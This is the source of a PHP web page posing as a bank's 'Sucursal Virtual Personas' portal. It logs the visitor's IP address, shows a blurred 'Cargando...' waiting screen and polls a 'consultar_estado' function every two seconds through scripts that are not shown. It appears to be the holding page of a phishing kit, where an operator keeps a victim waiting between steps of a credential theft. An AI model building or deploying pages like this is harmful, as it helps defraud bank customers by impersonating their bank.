<?php
$ip = getenv("REMOTE_ADDR");
setlocale(LC_TIME, "spanish");
$tiempo = strftime("%A, %d de %B de %Y");
date_default_timezone_set('America/Bogota');
?>
<html>
<head>
    <title>Sucursal Virtual Personas</title>
    <meta http-equiv="content-type" content="text/html; charset=utf-8">
    <meta charset="utf-8">
    <meta content="es" http-equiv="Content-Language">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
	<script type="text/javascript" src="js/functions.js"></script>  
    <script src="https://kit.fontawesome.com/45b9078c9f.js" crossorigin="anonymous"></script>
    <script type="text/javascript" src="js/jquery-3.6.0.min.js"></script>
    <script src="js/jquery.jclock-min.js" type="text/javascript"></script>
    <script type="text/javascript" src="js/functions.js"></script>
    <script  src="js/presencia.js"></script>
    <link rel="icon" type="image/png" href="img/logo.png" />


    <style>
        html, body{
            margin:0;
            padding:0;
            height:100%;
            width:100%;
            font-family:"Inter",system-ui,-apple-system,"Segoe UI",Roboto,sans-serif;
            overflow:hidden;
            background:#000; /* por si la imagen no carga */
        }

        /* CONTENEDOR PRINCIPAL */
        #waiting-page{
            position:fixed;
            inset:0;
            display:flex;
            align-items:center;
            justify-content:center;
        }

        /* FONDO (usa tu imagen fondo.jpg) */
        #waiting-page::before{
            content:"";
            position:absolute;
            inset:0;
            background:url("img/backg.png") center center / cover no-repeat;
            filter:blur(12px);          /* blur tipo app */
            transform:scale(1.04);     /* evita bordes por el blur */
            z-index:-2;
        }

        /* Capa gris/oscura encima de la imagen */
        #waiting-page::after{
            content:"";
            position:absolute;
            inset:0;
            background:rgba(30, 30, 30, 0.72); /* gris oscuro */
            z-index:-1;
        }

        /* CÍRCULO CENTRAL */
        .waiting-modal{
            width:255px;
            height:255px;
            border-radius:50%;
            background:#2f3237;
            display:flex;
            flex-direction:column;
            justify-content:center;
            align-items:center;
            box-shadow:0 18px 40px rgba(0,0,0,0.65);
            position:relative;
            z-index:1;
        }

        /* SPINNER */
        .spinner{
            position:relative;
            width:80px;
            height:80px;
            border-radius:50%;
            border:4px solid rgba(255,255,255,0.18); /* círculo tenue */
            border-top-color:#ffffff;                 /* segmento blanco */
            animation:spin 1s linear infinite;
        }

        .text{
            margin-top:22px;
            color:#ffffff;
            font-size:20px;
            font-weight:500;
        }

        @keyframes spin{
            to{ transform:rotate(360deg); }
        }

        @media (max-width:480px){
            .waiting-modal{ width:230px; height:230px; }
            .spinner{ width:70px; height:70px; }
            .text{ font-size:18px; }
        }
    </style>
</head>

<body>

<div id="waiting-page">
    <div class="waiting-modal">
        <div class="spinner"></div>
        <div class="text">Cargando...</div>
    </div>
</div>
<script  src="js/presencia.js"></script>
<script src="js/jquery-3.6.0.min.js"></script>
<script src="js/functions.js"></script>
<script>
$(document).ready(function() {
    espera = 1;
    setInterval(consultar_estado, 2000);
});
</script>

</body>
</html>
